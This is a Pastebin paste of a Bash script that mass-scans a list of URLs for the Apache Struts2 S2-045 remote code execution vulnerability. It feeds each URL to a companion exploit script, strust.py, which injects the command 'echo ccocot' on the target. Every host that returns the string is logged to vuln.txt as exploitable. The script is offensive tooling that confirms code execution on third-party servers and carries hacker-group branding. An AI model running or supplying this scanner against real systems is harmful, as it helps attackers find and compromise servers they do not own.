ccocot

peler.sh

Apr 1st, 2017
456
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.13 KB | None | 0 0
  1. #!/bin/bash
  2. #POWERED BY NAONLAH.NET - BUDAKJALANAN
  3. #color
  4. cyan='\e[0;36m'
  5. green='\e[0;34m'
  6. okegreen='\033[92m'
  7. lightgreen='\e[1;32m'
  8. white='\e[1;37m'
  9. red='\e[1;31m'
  10. yellow='\e[1;33m'
  11. BlueF='\e[1;34m'
  12. Default='\e[39m'
  13. #FORMATING
  14. Bold='\e[1m'
  15. Dim='\e[2m'
  16. Underline='\e[4m'
  17. Blink='\e[5m'
  18. Inveterted='\e[7m'
  19. #clear all formating
  20. crotclear='\e[0m'
  21. ##MAIN
  22. clear
  23. chmod +x strust.py
  24. echo -e $Bold"-==[MASS Check Apache Struts2 S2-045 - "$lightgreen"BC0DE.NET&NAONLAH.NET"$crotclear$Bold"]==-"$crotclear
  25. echo -n "Masukan Nama File List : "; read listname
  26. echo $[$(wc -l < $listname)+1] Line on $listname
  27. echo
  28. i=0
  29. for url in $(cat $listname); do
  30.     i=$[i+1]
  31.     ngecheck=$(timeout 10 ./strust.py "$url" "echo ccocot" 2> /dev/null)
  32.     if [[ $ngecheck =~ 'ccocot' ]] ; then
  33.         echo -e $i".URL : "$Bold$lightgreen$url$crotclear
  34.         echo -e "Status : "$Bold$lightgreen"VULN"$crotclear
  35.         echo $url >> vuln.txt
  36.         echo
  37.     else
  38.         echo -e $i".URL : "$Bold$red$url$crotclear
  39.         echo -e "Status : "$Bold$red"Not Vuln / timeout(10)"$crotclear
  40.         echo $url >> notvuln.txt
  41.         echo
  42.     fi
  43. done
  44. echo "vuln >> vuln.txt"
  45. echo "not vuln / timeout >> notvuln.txt"
Advertisement
Add Comment
Please, Sign In to add comment